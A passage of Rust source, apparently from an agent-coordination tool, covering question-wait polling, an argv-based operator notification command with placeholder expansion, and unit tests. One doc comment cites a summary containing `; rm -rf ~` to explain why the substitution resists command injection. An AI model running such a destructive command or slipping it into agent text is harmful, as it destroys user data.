1736        says.join("\n\n")
1737    )
1738}
1739
1740/// Print an answer (with any unread says before it) to `out`, flush, and only
1741/// then record the hand-over. A failed write marks nothing delivered.
1742pub fn deliver_answer(
1743    store: &Questions,
1744    q: &mut Question,
1745    answer: &str,
1746    out: &mut impl std::io::Write,
1747) -> std::io::Result<()> {
1748    writeln!(out, "{}", answer_for_agent(q, answer))?;
1749    out.flush()?;
1750    hand_over(store, q);
1751    Ok(())
1752}
1753
1754/// The polling loop shared by a fresh wait and a resumed one.
1755///
1756/// `timeout` is the budget left before the question's `answer_timeout`
1757/// truly runs out; `slice` bounds how much of that this one call spends
1758/// before handing control back. Landing on `slice` while `timeout` still has
1759/// budget left is [`Wait::Pending`] - the caller's move, not the owner's
1760/// silence. Landing on `timeout` itself - because it was no bigger than
1761/// `slice` to begin with - is the real thing, and abandons the question
1762/// exactly as a single unsliced wait always did.
1763async fn wait_loop(
1764    q: &mut Question,
1765    store: &Questions,
1766    timeout: Duration,
1767    slice: Duration,
1768    poll: Duration,
1769) -> Result<Wait> {
1770    // The owner may already have spoken back before this call ever started -
1771    // most often because they did so in the gap between an earlier call
1772    // reporting `Wait::Pending` and this one picking the wait back up with
1773    // `--wait`. That word must surface at once rather than sit unnoticed
1774    // until some *later* turn happens to change something: this call never
1775    // saw it get added, so nothing below would otherwise recognise it as
1776    // new. `last_word_awaiting_reply` reads the question's own record of
1777    // whose turn it is - see [`Question::waiting_on_agent`] - rather than a
1778    // turn count this call would have to have been there to capture.
1779    if let Some(said) = q.unread_from_owner() {
1780        return Ok(Wait::Replied(said));
1781    }
1782    hold(store, &q.id);
1783
1784    let bounded = timeout.min(slice);
1785    let is_the_real_deadline = bounded >= timeout;
1786    let deadline = tokio::time::Instant::now() + bounded;
1787    loop {
1788        let now = tokio::time::Instant::now();
1789        if now >= deadline {
1790            if !is_the_real_deadline {
1791                // The lease is left to age out on purpose: the caller is about
1792                // to run `magi ask --wait`, and that gap is what LEASE_TTL
1793                // covers.
1794                return Ok(Wait::Pending);
1795            }
1796            let why = format!("no answer within {}s of asking", timeout.as_secs().max(1));
1797            // Re-checked on the record as it is now: the owner may have said
1798            // something in time since the last poll, and that word is handed
1799            // over, not abandoned.
1800            let (fresh, unread) = store
1801                .update(&q.id, |r| {
1802                    let unread = r.unread_from_owner();
1803                    if unread.is_none() {
1804                        r.abandon(&why);
1805                        r.waiter = None;
1806                    }
1807                    Ok(unread)
1808                })
1809                .context("record the abandoned question")?;
1810            *q = fresh;
1811            if let Some(said) = unread {
1812                return Ok(Wait::Replied(said));
1813            }
1814            tracing::warn!(
1815                "question {} went unanswered for {}s; the run parks and the \
1816                 question stays as the record of it",
1817                q.short(),
1818                timeout.as_secs()
1819            );
1820            return Ok(Wait::Abandoned);
1821        }
1822        tokio::time::sleep(poll.min(deadline - now)).await;
1823        store.beat(&q.id, WaiterKind::Asker);
1824        match store.get(&q.id) {
1825            Ok(fresh) if !fresh.status.open() => {
1826                // Whoever answered - the phone, `magi answer`, another daemon -
1827                // owns the record now, so adopt theirs wholesale rather than
1828                // merging into a copy that predates it.
1829                *q = fresh;
1830                return Ok(match q.resolution() {
1831                    Some(a) => Wait::Answered(a),
1832                    // Closed with no decision - abandoned elsewhere, most
1833                    // often by the run behind it being deleted mid-wait.
1834                    None => Wait::Abandoned,
1835                });
1836            }
1837            Ok(fresh) => {
1838                if let Some(said) = fresh.unread_from_owner() {
1839                    *q = fresh;
1840                    return Ok(Wait::Replied(said));
1841                }
1842                // Still open and not waiting on the agent - nothing this
1843                // wait cares about happened, so keep polling.
1844            }
1845            Err(e) => {
1846                // Mid-rename, or a file the operator is editing by hand.
1847                // Neither is a reason to abandon a question a human may still
1848                // answer, so keep polling until the deadline decides.
1849                tracing::debug!("could not re-read question {}: {e:#}", q.short());
1850            }
1851        }
1852    }
1853}
1854
1855/// Run the operator's notification command, if one is configured.
1856///
1857/// The command is argv, never a shell string, and the substitutions below are a
1858/// single pass over each argument: a summary containing `; rm -rf ~` is one
1859/// argument to one program, and a summary containing the characters `{run}` is
1860/// not re-expanded. That property is the reason agent-authored text can be put
1861/// in a notification at all.
1862///
1863/// An error here is reported, not swallowed, so `magi notify --test` can show
1864/// the operator why nothing arrives. The waiting path logs it and carries on.
1865pub async fn notify(cmd: &config::Notify, q: &Question) -> Result<()> {
1866    let mut summary = format!("Question {}: {}", q.short(), q.summary.trim());
1867    if q.status.open() {
1868        summary.push_str(&format!(
1869            " Respond in Questions or with `magi answer {}`.",
1870            q.id
1871        ));
1872    }
1873    let url = question_url(&std::env::var(WEB_URL_ENV).unwrap_or_default());
1874    notify_at(cmd, &q.run, &summary, &url).await
1875}
1876
1877/// [`notify`] for an event that is not a question: the same command, the same
1878/// placeholders, with `summary` and `run` supplied directly.
1879pub async fn notify_text(cmd: &config::Notify, run: &str, summary: &str) -> Result<()> {
1880    let url = view_url(
1881        &std::env::var(WEB_URL_ENV).unwrap_or_default(),
1882        "notifications",
1883    );
1884    notify_at(cmd, run, summary, &url).await
1885}
1886
1887async fn notify_at(cmd: &config::Notify, run: &str, summary: &str, url: &str) -> Result<()> {
1888    let Some((program, args)) = cmd.command.split_first() else {
1889        // No command configured: the web UI is the only surface, by choice.
1890        return Ok(());
1891    };
1892    if url.is_empty() && cmd.command.iter().any(|a| a.contains("{url}")) {
1893        tracing::warn!(
1894            "the notification command uses {{url}} but {WEB_URL_ENV} is unset, \
1895             so the link will be empty - export it next to `magi serve` with \
1896             the address `magi web --open` printed"
1897        );
1898    }
1899    let argv: Vec<String> = args.iter().map(|a| expand(a, run, summary, url)).collect();
1900    tracing::debug!(program = %program, args = ?argv, "notifying");
1901
1902    let mut child = tokio::process::Command::new(program);
1903    child.quiet();
1904    child
1905        .args(&argv)
1906        .stdin(std::process::Stdio::null())
1907        // Killed if the timeout below drops this future: a notification
1908        // command left running would outlive the run it was announcing.
1909        .kill_on_drop(true);
1910    let out = match tokio::time::timeout(NOTIFY_TIMEOUT, child.output()).await {
1911        Ok(r) => r.with_context(|| format!("run notification command `{program}`"))?,
1912        Err(_) => bail!(
1913            "notification command `{program}` did not finish within {}s",
1914            NOTIFY_TIMEOUT.as_secs()
1915        ),
1916    };
1917    if !out.status.success() {
1918        let stderr = String::from_utf8_lossy(&out.stderr);
1919        let why = stderr
1920            .lines()
1921            .rev()
1922            .find(|l| !l.trim().is_empty())
1923            .unwrap_or("no output on stderr")
1924            .trim();
1925        bail!(
1926            "notification command `{program}` exited with {}: {why}",
1927            out.status
1928        );
1929    }
1930    Ok(())
1931}
1932
1933/// Substitute `{summary}`, `{run}` and `{url}` into one argument.
1934///
1935/// One left-to-right pass, so a substituted value is never scanned for further
1936/// placeholders. Agent prose contains braces, and an agent quoting `{summary}`
1937/// in a question must not make the notification recursive.
1938fn expand(template: &str, run: &str, summary: &str, url: &str) -> String {
1939    let table = [("{summary}", summary), ("{run}", run), ("{url}", url)];
1940    let mut out = String::with_capacity(template.len());
1941    let mut rest = template;
1942    while let Some(at) = rest.find('{') {
1943        out.push_str(&rest[..at]);
1944        let tail = &rest[at..];
1945        match table.iter().find(|(token, _)| tail.starts_with(token)) {
1946            Some((token, value)) => {
1947                out.push_str(value);
1948                rest = &tail[token.len()..];
1949            }
1950            None => {
1951                // Not a placeholder magi knows: it is the operator's own text.
1952                out.push('{');
1953                rest = &tail[1..];
1954            }
1955        }
1956    }
1957    out.push_str(rest);
1958    out
1959}
1960
1961/// Point a configured base URL at the view that can answer the question.
1962///
1963/// A notification the operator has to navigate from is a question that stays
1964/// unanswered until morning, so the questions view is appended - unless the
1965/// operator already wrote a fragment, in which case they have said where they
1966/// want to land and magi does not know better.
1967fn question_url(base: &str) -> String {
1968    view_url(base, "questions")
1969}
1970
1971fn view_url(base: &str, view: &str) -> String {
1972    let base = base.trim().trim_end_matches('/');
1973    if base.is_empty() || base.contains('#') {
1974        return base.to_owned();
1975    }
1976    format!("{base}/#/{view}")
1977}
1978
1979/// Assemble a panel's contents in an already-empty directory.
1980///
1981/// Split out so [`Questions::put_panel`] can delete the whole directory on the
1982/// first error without an early `return` skipping that cleanup.
1983fn fill_panel(dir: &Path, html: &str, assets: &[(String, &Path)]) -> Result<()> {
1984    let index = dir.join(PANEL_HTML);
1985    std::fs::write(&index, html).with_context(|| format!("write {}", index.display()))?;
1986    for (name, src) in assets {
1987        let dst = dir.join(name);
1988        std::fs::copy(src, &dst)
1989            .with_context(|| format!("copy {} to {}", src.display(), dst.display()))?;
1990    }
1991    Ok(())
1992}
1993
1994/// Remove a directory and everything under it, treating "not there" as done.
1995///
1996/// A panel is replaced wholesale and dropped idempotently, and in both cases
1997/// the absence of the directory is the desired end state, not an error.
1998fn clear_dir(path: &Path) -> Result<()> {
1999    match std::fs::remove_dir_all(path) {
2000        Ok(()) => Ok(()),
2001        Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(()),
2002        Err(e) => Err(e).with_context(|| format!("remove {}", path.display())),
2003    }
2004}
2005
2006fn read_path(path: &Path) -> Result<Question> {
2007    let body = std::fs::read_to_string(path).with_context(|| format!("read {}", path.display()))?;
2008    let q: Question =
2009        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
2010    if q.schema > SCHEMA {
2011        // Strictly newer, not merely different: every field added since
2012        // schema 1 carries `#[serde(default)]`, so an *older* schema reads
2013        // here as "no thread yet" rather than as garbage. Only a schema this
2014        // build has never heard of is refused.
2015        bail!(
2016            "question {} was written by a newer magi (schema {}, this build \
2017             only speaks up to {SCHEMA})",
2018            q.id,
2019            q.schema
2020        );
2021    }
2022    Ok(q)
2023}
2024
2025/// [`short`] for callers outside this module (a run id shortens the same way).
2026pub fn short_id(id: &str) -> &str {
2027    short(id)
2028}
2029
2030fn short(id: &str) -> &str {
2031    id.split('-').next_back().unwrap_or(id)
2032}
2033
2034fn new_id() -> String {
2035    let stamp = jiff::Zoned::now().strftime("%Y%m%d-%H%M%S");
2036    let seed = crate::rng::entropy();
2037    format!("{stamp}-{:04x}", (seed ^ (seed >> 32)) & 0xffff)
2038}
2039
2040#[cfg(test)]
2041mod tests {
2042    use super::*;
2043
2044    /// A store of its own, with no process-global state - which is the point of
2045    /// `Questions::at`, and why these can run in parallel.
2046    fn store() -> (tempfile::TempDir, Questions) {
2047        let dir = tempfile::tempdir().unwrap();
2048        let s = Questions::at(dir.path().join("questions"));
2049        (dir, s)
2050    }
2051
2052    #[test]
2053    fn run_names_task_only_for_task_questions() {
2054        for (node, want) in [
2055            (crate::conduct::NODE, true),
2056            (crate::triage::NODE, true),
2057            (crate::triage::DEPS_NODE, true),
2058            (crate::land::APPROVAL_NODE, false),
2059            (crate::bump::NOTICE_NODE, false),
2060            ("implement", false),
2061        ] {
2062            let mut q = choice_question();
2063            q.node = node.to_owned();
2064            assert_eq!(q.run_names_task(), want, "{node}");
2065        }
2066    }
2067
2068    #[test]
2069    fn deleting_a_run_stops_its_questions_asking() {
2070        let (_dir, store) = store();
2071
2072        let mut open_one = choice_question();
2073        store.put(&mut open_one).unwrap();
2074        let mut answered = free_question();
2075        answered
2076            .answer(Answer::Text("keep this".to_owned()))
2077            .unwrap();
2078        store.put(&mut answered).unwrap();
2079        let mut elsewhere = choice_question();
2080        elsewhere.run = "20260903-105039-3cbf".to_owned();
2081        store.put(&mut elsewhere).unwrap();
2082
2083        let n = store
2084            .abandon_for_run(&open_one.run, "run was deleted")
2085            .unwrap();
2086        assert_eq!(n, 1, "only the open question of that run");
2087
2088        let back = store.get(&open_one.id).unwrap();
2089        assert!(!back.status.open(), "it no longer asks for a decision");
2090        assert!(
2091            back.detail.contains("run was deleted"),
2092            "the operator can see why: {}",
2093            back.detail
2094        );
2095
2096        let kept = store.get(&answered.id).unwrap();
2097        assert_eq!(
2098            kept.status,
2099            QuestionStatus::Answered,
2100            "an answered question is a decision on record, not something to revoke"
2101        );
2102        assert!(
2103            store.get(&elsewhere.id).unwrap().status.open(),
2104            "another run's question is untouched"
2105        );
2106        assert!(store.open_for(&open_one.run).is_empty());
2107    }
2108
2109    #[test]
2110    fn settle_run_abandons_only_for_a_status_that_is_not_resumable() {
2111        let (_dir, store) = store();
2112        let mut q = choice_question();
2113        store.put(&mut q).unwrap();
2114
2115        // `Blocked` can still be resumed - leave it exactly as it was.
2116        let n = store.settle_run(&q.run, RunStatus::Blocked).unwrap();
2117        assert_eq!(n, 0);
2118        assert!(store.get(&q.id).unwrap().status.open());
2119
2120        // `Failed` is not - abandon it, with the run and its fate in the
2121        // reason so the owner can tell what happened without a run to read.
2122        let n = store.settle_run(&q.run, RunStatus::Failed).unwrap();
2123        assert_eq!(n, 1);
2124        let back = store.get(&q.id).unwrap();
2125        assert!(!back.status.open());
2126        assert!(back.detail.contains(&q.run) && back.detail.contains("failed"));
2127
2128        // A second call against the same, now-settled run finds nothing left.
2129        assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
2130    }
2131
2132    fn choice_question() -> Question {
2133        Question::new(
2134            "20260902-201256-9fb7".to_owned(),
2135            "implement".to_owned(),
2136            "impl-A".to_owned(),
2137            "Which storage backend should the cache use?".to_owned(),
2138            "Both are already dependencies.".to_owned(),
2139            vec!["SQLite".to_owned(), "Redis".to_owned()],
2140        )
2141    }
2142
2143    fn free_question() -> Question {
2144        Question::new(
2145            "20260902-201256-9fb7".to_owned(),
2146            "review".to_owned(),
2147            "rev-1".to_owned(),
2148            "What should the error message say?".to_owned(),
2149            String::new(),
2150            Vec::new(),
2151        )
2152    }
2153
2154    /// No notification, which is the default and what most of these want.
2155    fn quiet() -> config::Notify {
2156        config::Notify::default()
2157    }
2158
2159    #[test]
2160    fn the_stored_json_is_the_shape_the_web_ui_was_written_against() {
2161        // The front end parses these names by hand; there is no shared schema
2162        // and no compiler between the two. A rename here is a UI that shows an
2163        // empty card and reports no error, so the names are asserted literally.
2164        let mut q = choice_question();
2165        q.id = "20260902-231501-ab12".to_owned();
2166        let open: serde_json::Value = serde_json::to_value(&q).unwrap();
2167        // `serde_json::Value` holds an object's keys sorted, and key order
2168        // means nothing to a JSON reader anyway: the field *set* is what the
2169        // front end was written against, so that is what is pinned here.
2170        let keys: Vec<&str> = open
2171            .as_object()
2172            .unwrap()
2173            .keys()
2174            .map(String::as_str)
2175            .collect();
2176        assert_eq!(
2177            keys,
2178            [
2179                "actions",
2180                "answer",
2181                "answer_delivered",
2182                "answer_timeout",
2183                "answered_at",
2184                "asked_at",
2185                "assets",
2186                "choices",
2187                "consult",
2188                "cwd",
2189                "decision_context",
2190                "delivered_turns",
2191                "deputy",
2192                "detail",
2193                "id",
2194                "merge_target",
2195                "node",
2196                "panel",
2197                "run",
2198                "schema",
2199                "seat",
2200                "status",
2201                "summary",
2202                "thread",
2203                "triage_generation",
2204                "waiter",
2205            ],
2206            "the on-disk field set is a contract with the front end"
2207        );
2208        assert_eq!(open["schema"], 11);
2209        assert_eq!(open["merge_target"], serde_json::Value::Null);
2210        assert_eq!(open["triage_generation"], serde_json::Value::Null);
2211        assert_eq!(open["thread"], serde_json::json!([]));
2212        assert_eq!(open["id"], "20260902-231501-ab12");
2213        assert_eq!(open["run"], "20260902-201256-9fb7");
2214        assert_eq!(open["node"], "implement");
2215        assert_eq!(open["seat"], "impl-A");
2216        assert_eq!(open["status"], "open");
2217        assert_eq!(open["choices"], serde_json::json!(["SQLite", "Redis"]));
2218        assert_eq!(open["answered_at"], serde_json::Value::Null);
2219        assert_eq!(open["answer"], serde_json::Value::Null);
2220        let asked = open["asked_at"].as_str().unwrap();
2221        assert!(
2222            asked.ends_with('Z') && asked.contains('T'),
2223            "timestamps are UTC RFC 3339, which is what `new Date()` parses: {asked}"
2224        );
2225
2226        // A chosen option, exactly as the contract spells it.
2227        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2228        let answered = serde_json::to_value(&q).unwrap();
2229        assert_eq!(answered["status"], "answered");
2230        assert_eq!(answered["answer"], serde_json::json!({"choice": "SQLite"}));
2231        assert!(answered["answered_at"].is_string());
2232
2233        // And free text, which is the other of the two forms.
2234        let mut free = free_question();
2235        free.answer(Answer::Text("Say which file it was".to_owned()))
2236            .unwrap();
2237        assert_eq!(
2238            serde_json::to_value(&free).unwrap()["answer"],
2239            serde_json::json!({"text": "Say which file it was"})
2240        );
2241
2242        // And it survives the round trip a reader actually performs.
2243        let body = serde_json::to_string(&q).unwrap();
2244        assert_eq!(serde_json::from_str::<Question>(&body).unwrap(), q);
2245    }
2246
2247    #[test]
2248    fn merge_target_persists_and_schema_10_questions_remain_readable() {
2249        let (_dir, store) = store();
2250        let mut q = approval_question();
2251        q.merge_target = Some(crate::merge_decision::Target {
2252            pr: "https://github.com/example/repo/pull/42".into(),
2253            head: "reviewed-head".into(),
2254            language: "ja".into(),
2255        });
2256        store.put(&mut q).unwrap();
2257        let saved = store.get(&q.id).unwrap();
2258        assert_eq!(saved, q);
2259        let mut body = serde_json::to_value(&saved).unwrap();
2260        assert_eq!(body["schema"], 11);
2261        assert_eq!(
2262            body["merge_target"],
2263            serde_json::json!({
2264                "pr": "https://github.com/example/repo/pull/42",
2265                "head": "reviewed-head",
2266                "language": "ja"
2267            })
2268        );
2269
2270        // Earlier merge/hold cards have no target field. Read the actual
2271        // on-disk shape through the store, including its schema guard.
2272        body["schema"] = serde_json::json!(10);
2273        body.as_object_mut().unwrap().remove("merge_target");
2274        std::fs::write(store.path_of(&q.id), serde_json::to_vec(&body).unwrap()).unwrap();
2275        let legacy = store.get(&q.id).unwrap();
2276        assert_eq!(legacy.schema, 10);
2277        assert!(legacy.merge_target.is_none());
2278        assert_eq!(legacy.choices, q.choices);
2279        assert_eq!(legacy.status, q.status);
2280    }
2281
2282    #[test]
2283    fn an_answer_the_question_never_offered_is_refused_with_its_own_reason() {
2284        // Four different mistakes, four different fixes: the web handler shows
2285        // these strings to the person who made them.
2286        let mut unoffered = choice_question();
2287        let a = unoffered
2288            .answer(Answer::Choice("Postgres".to_owned()))
2289            .unwrap_err()
2290            .to_string();
2291
2292        let mut typed = choice_question();
2293        let b = typed
2294            .answer(Answer::Text("use Postgres".to_owned()))
2295            .unwrap_err()
2296            .to_string();
2297
2298        let mut blank = free_question();
2299        let c = blank
2300            .answer(Answer::Text("   \n".to_owned()))
2301            .unwrap_err()
2302            .to_string();
2303
2304        let mut twice = choice_question();
2305        twice.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2306        let d = twice
2307            .answer(Answer::Choice("Redis".to_owned()))
2308            .unwrap_err()
2309            .to_string();
2310
2311        assert!(a.contains("not one of the choices"), "{a}");
2312        assert!(b.contains("multiple choice"), "{b}");
2313        assert!(c.contains("empty"), "{c}");
2314        assert!(d.contains("already answered"), "{d}");
2315        let mut distinct = vec![a, b, c, d];
2316        let asked = distinct.len();
2317        distinct.sort_unstable();
2318        distinct.dedup();
2319        assert_eq!(distinct.len(), asked, "each rejection is distinguishable");
2320
2321        // The refused ones are still open, so the owner can answer properly.
2322        assert_eq!(unoffered.status, QuestionStatus::Open);
2323        assert_eq!(typed.status, QuestionStatus::Open);
2324        assert_eq!(blank.status, QuestionStatus::Open);
2325        // And the first answer to the double-answered one survived.
2326        assert_eq!(twice.resolution().as_deref(), Some("SQLite"));
2327
2328        // Free text refuses a fabricated choice for the mirror-image reason.
2329        let mut free = free_question();
2330        let e = free
2331            .answer(Answer::Choice("SQLite".to_owned()))
2332            .unwrap_err()
2333            .to_string();
2334        assert!(e.contains("free text"), "{e}");
2335    }
2336
2337    #[test]
2338    fn open_questions_are_listed_before_answered_ones() {
2339        let (_dir, s) = store();
2340        // Ids carry a timestamp, so force a known order: the answered one is
2341        // the newest, and must still sort below the open ones.
2342        let mut old_open = choice_question();
2343        old_open.id = "20260101-000001-aaaa".to_owned();
2344        let mut new_open = choice_question();
2345        new_open.id = "20260101-000002-bbbb".to_owned();
2346        let mut answered = choice_question();
2347        answered.id = "20260101-000003-cccc".to_owned();
2348        answered.answer(Answer::Choice("Redis".to_owned())).unwrap();
2349        for q in [&mut old_open, &mut new_open, &mut answered] {
2350            s.put(q).unwrap();
2351        }
2352
2353        let ids: Vec<String> = s.list().into_iter().map(|q| q.id).collect();
2354        assert_eq!(
2355            ids,
2356            [
2357                "20260101-000002-bbbb",
2358                "20260101-000001-aaaa",
2359                "20260101-000003-cccc"
2360            ],
2361            "what has stopped work comes first; history sorts underneath"
2362        );
2363        assert_eq!(s.count_open(), 2);
2364        assert_eq!(s.open_for("20260902-201256-9fb7").len(), 2);
2365        assert!(s.open_for("some-other-run").is_empty());
2366        // The short id is what the phone and the reports show.
2367        assert_eq!(s.resolve_id("bbbb").unwrap(), "20260101-000002-bbbb");
2368        assert!(s.get("20260101-000002-bbbb").is_ok());
2369        assert!(s.resolve_id("nope").is_err());
2370        assert!(
2371            s.revision() > 0,
2372            "the store's mtime drives the phone's polling"
2373        );
2374    }
2375
2376    #[test]
2377    fn a_question_file_magi_cannot_read_does_not_take_the_listing_down() {
2378        let (_dir, s) = store();
2379        let mut good = choice_question();
2380        s.put(&mut good).unwrap();
2381        // Truncated by a killed writer, and written by a magi from the future.
2382        std::fs::write(s.path_of("20260101-000009-dead"), "{\"schema\": 1, \"id\"").unwrap();
2383        let future = serde_json::json!({
2384            "schema": 99, "id": "20260101-000010-beef", "run": "r", "node": "n",
2385            "seat": "s", "summary": "?", "detail": "", "choices": [],
2386            "status": "open", "asked_at": "2026-01-01T00:00:00Z",
2387            "answered_at": null, "answer": null,
2388        });
2389        std::fs::write(
2390            s.path_of("20260101-000010-beef"),
2391            serde_json::to_string(&future).unwrap(),
2392        )
2393        .unwrap();
2394
2395        let listed = s.list();
2396        assert_eq!(listed.len(), 1, "one bad file must not hide the open one");
2397        assert_eq!(listed[0].id, good.id);
2398        // Asked for by name, the unreadable one explains itself instead.
2399        let e = s.get("20260101-000010-beef").unwrap_err().to_string();
2400        assert!(e.contains("schema"), "{e}");
2401    }
2402
2403    #[tokio::test]
2404    async fn the_wait_returns_the_answer_another_process_wrote() {
2405        // The phone, `magi answer` and this run are three processes with no
2406        // channel between them: the file is the channel, so the wait has to see
2407        // a write it did not make. Sub-second timings keep this a real wait
2408        // without a real one's duration.
2409        let (dir, s) = store();
2410        let mut q = choice_question();
2411        let id = q.id.clone();
2412        let writer = Questions::at(dir.path().join("questions"));
2413        let handle = tokio::spawn(async move {
2414            tokio::time::sleep(Duration::from_millis(30)).await;
2415            let mut fresh = writer.get(&id).expect("the question was filed first");
2416            fresh.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2417            writer.put(&mut fresh).unwrap();
2418        });
2419
2420        let got = wait_for_owner(
2421            &mut q,
2422            &s,
2423            &quiet(),
2424            Duration::from_secs(5),
2425            Duration::from_millis(10),
2426        )
2427        .await
2428        .unwrap();
2429
2430        handle.await.unwrap();
2431        assert_eq!(got, Wait::Answered("SQLite".to_owned()));
2432        assert_eq!(
2433            q.status,
2434            QuestionStatus::Answered,
2435            "the caller's copy is refreshed from the answering process's record"
2436        );
2437        assert!(q.answered_at.is_some());
2438    }
2439
2440    #[tokio::test]
2441    async fn a_question_nobody_answers_is_abandoned_not_deleted() {
2442        let (_dir, s) = store();
2443        let mut q = choice_question();
2444
2445        let got = wait_for_owner(
2446            &mut q,
2447            &s,
2448            &quiet(),
2449            Duration::from_millis(60),
2450            Duration::from_millis(10),
2451        )
2452        .await
2453        .unwrap();
2454
2455        assert_eq!(
2456            got,
2457            Wait::Abandoned,
2458            "a slow human is not an error; the run parks"
2459        );
2460        assert_eq!(q.status, QuestionStatus::Abandoned);
2461        let on_disk = s.get(&q.id).expect("the record of what was asked survives");
2462        assert_eq!(on_disk.status, QuestionStatus::Abandoned);
2463        assert!(
2464            on_disk.detail.contains("Abandoned:"),
2465            "why nobody answered belongs with the question: {}",
2466            on_disk.detail
2467        );
2468        assert!(on_disk.resolution().is_none());
2469        assert_eq!(s.count_open(), 0);
2470    }
2471
2472    #[tokio::test]
2473    async fn a_slice_running_out_leaves_the_question_open_rather_than_abandoning_it() {
2474        // This is the whole point of slicing: `timeout` (the real
2475        // `answer_timeout` budget) is far larger than `slice`, so the loop
2476        // must land on `slice` first and hand back `Pending` - not read the
2477        // silence so far as the owner having given up.
2478        let (_dir, s) = store();
2479        let mut q = choice_question();
2480        s.put(&mut q).unwrap();
2481
2482        let got = wait_loop(
2483            &mut q,
2484            &s,
2485            Duration::from_secs(3600),
2486            Duration::from_millis(30),
2487            Duration::from_millis(10),
2488        )
2489        .await
2490        .unwrap();
2491
2492        assert_eq!(
2493            got,
2494            Wait::Pending,
2495            "the clock on this call ran out, not the owner's patience"
2496        );
2497        assert_eq!(
2498            q.status,
2499            QuestionStatus::Open,
2500            "a slice expiring must never abandon the question"
2501        );
2502        let on_disk = s.get(&q.id).expect("still on disk, still open");
2503        assert_eq!(
2504            on_disk.status,
2505            QuestionStatus::Open,
2506            "nothing about the record changed just because this call gave up"
2507        );
2508    }
2509
2510    #[tokio::test]
2511    async fn a_wait_resumed_after_a_slice_sees_the_answer_the_first_slice_missed() {
2512        // The shape `magi ask --wait <id>` relies on: one slice finds nothing
2513        // and returns `Pending`, a second slice - a fresh call, exactly as a
2514        // fresh process would make - picks the same question back up and
2515        // sees an answer written in between.
2516        let (dir, s) = store();
2517        let mut q = choice_question();
2518        s.put(&mut q).unwrap();
2519
2520        let first = wait_loop(
2521            &mut q,
2522            &s,
2523            Duration::from_secs(3600),
2524            Duration::from_millis(30),
2525            Duration::from_millis(10),
2526        )
2527        .await
2528        .unwrap();
2529        assert_eq!(first, Wait::Pending);
2530
2531        let id = q.id.clone();
2532        let writer = Questions::at(dir.path().join("questions"));
2533        let mut fresh = writer.get(&id).unwrap();
2534        fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2535        writer.put(&mut fresh).unwrap();
2536
2537        // `resume_wait` uses its own production poll interval rather than a
2538        // test-injected one, so the budget here only needs to be large enough
2539        // to cover one real poll tick - the point is that it is `resume_wait`
2540        // itself, not a helper, that finds the answer.
2541        let second = resume_wait(&mut q, &s, Duration::from_millis(500))
2542            .await
2543            .unwrap();
2544        assert_eq!(second, Wait::Answered("Redis".to_owned()));
2545        assert_eq!(q.status, QuestionStatus::Answered);
2546    }
2547
2548    #[tokio::test]
2549    async fn a_reply_left_in_the_gap_before_a_resumed_wait_starts_is_never_missed() {
2550        // The owner can speak back while nothing is running at all - between
2551        // one call reporting `Wait::Pending` and the next `--wait` picking
2552        // the question back up - and whoever resumes the wait loads a
2553        // *fresh* copy of the question off disk, one whose thread already
2554        // contains that reply. A baseline taken from that fresh copy would
2555        // treat the reply as pre-existing and never notice it "arrive",
2556        // leaving the agent polling in silence until `answer_timeout`
2557        // eventually abandons the question - replacing the exact accident
2558        // this feature exists to fix with a quieter version of itself.
2559        let (dir, s) = store();
2560        let mut q = choice_question();
2561        s.put(&mut q).unwrap();
2562
2563        let first = wait_loop(
2564            &mut q,
2565            &s,
2566            Duration::from_secs(3600),
2567            Duration::from_millis(30),
2568            Duration::from_millis(10),
2569        )
2570        .await
2571        .unwrap();
2572        assert_eq!(first, Wait::Pending);
2573
2574        // The owner speaks back during the gap, with nobody running yet.
2575        let id = q.id.clone();
2576        let writer = Questions::at(dir.path().join("questions"));
2577        let mut fresh = writer.get(&id).unwrap();
2578        fresh.say("why not Postgres?").unwrap();
2579        writer.put(&mut fresh).unwrap();
2580
2581        // `magi ask --wait` re-reads the question rather than reusing the
2582        // stale in-memory copy the earlier call held - so the copy handed to
2583        // `resume_wait` here already carries the reply, same as `fresh` above.
2584        let mut resumed = s.get(&id).unwrap();
2585        let second = resume_wait(&mut resumed, &s, Duration::from_millis(500))
2586            .await
2587            .unwrap();
2588        assert_eq!(second, Wait::Replied("why not Postgres?".to_owned()));
2589        assert_eq!(
2590            resumed.status,
2591            QuestionStatus::Open,
2592            "talking back is not a decision; the question stays open"
2593        );
2594    }
2595
2596    #[tokio::test]
2597    async fn a_notification_that_cannot_run_does_not_cost_the_answer() {
2598        // A broken webhook must not throw away an implementation, so the wait
2599        // reports the failure and carries on. `notify` itself still says what
2600        // went wrong, because `magi notify --test` has to be able to show it.
2601        let (dir, s) = store();
2602        let broken = config::Notify {
2603            command: vec![
2604                "magi-notifier-that-does-not-exist-9fb7".to_owned(),
2605                "{summary}".to_owned(),
2606            ],
2607        };
2608        let mut q = choice_question();
2609        assert!(
2610            notify(&broken, &q).await.is_err(),
2611            "the caller is told; it decides that it does not matter"
2612        );
2613
2614        let id = q.id.clone();
2615        let writer = Questions::at(dir.path().join("questions"));
2616        let handle = tokio::spawn(async move {
2617            tokio::time::sleep(Duration::from_millis(30)).await;
2618            let mut fresh = writer.get(&id).unwrap();
2619            fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2620            writer.put(&mut fresh).unwrap();
2621        });
2622        let got = wait_for_owner(
2623            &mut q,
2624            &s,
2625            &broken,
2626            Duration::from_secs(5),
2627            Duration::from_millis(10),
2628        )
2629        .await
2630        .unwrap();
2631        handle.await.unwrap();
2632        assert_eq!(got, Wait::Answered("Redis".to_owned()));
2633
2634        // No command at all is the default, and is silence rather than failure.
2635        assert!(notify(&quiet(), &q).await.is_ok());
2636        assert!(notify_text(&quiet(), "run", "text").await.is_ok());
2637    }
2638
2639    #[tokio::test]
2640    async fn external_question_notification_names_the_supported_response_path() {
2641        let dir = tempfile::tempdir().unwrap();
2642        let path = dir.path().join("page");
2643        let cmd = config::Notify {
2644            command: vec![
2645                "sh".into(),
2646                "-c".into(),
2647                "printf '%s' \"$1\" > \"$2\"".into(),
2648                "notify".into(),
2649                "{summary}".into(),
2650                path.to_string_lossy().into_owned(),
2651            ],
2652        };
2653        let q = choice_question();
2654        notify(&cmd, &q).await.unwrap();
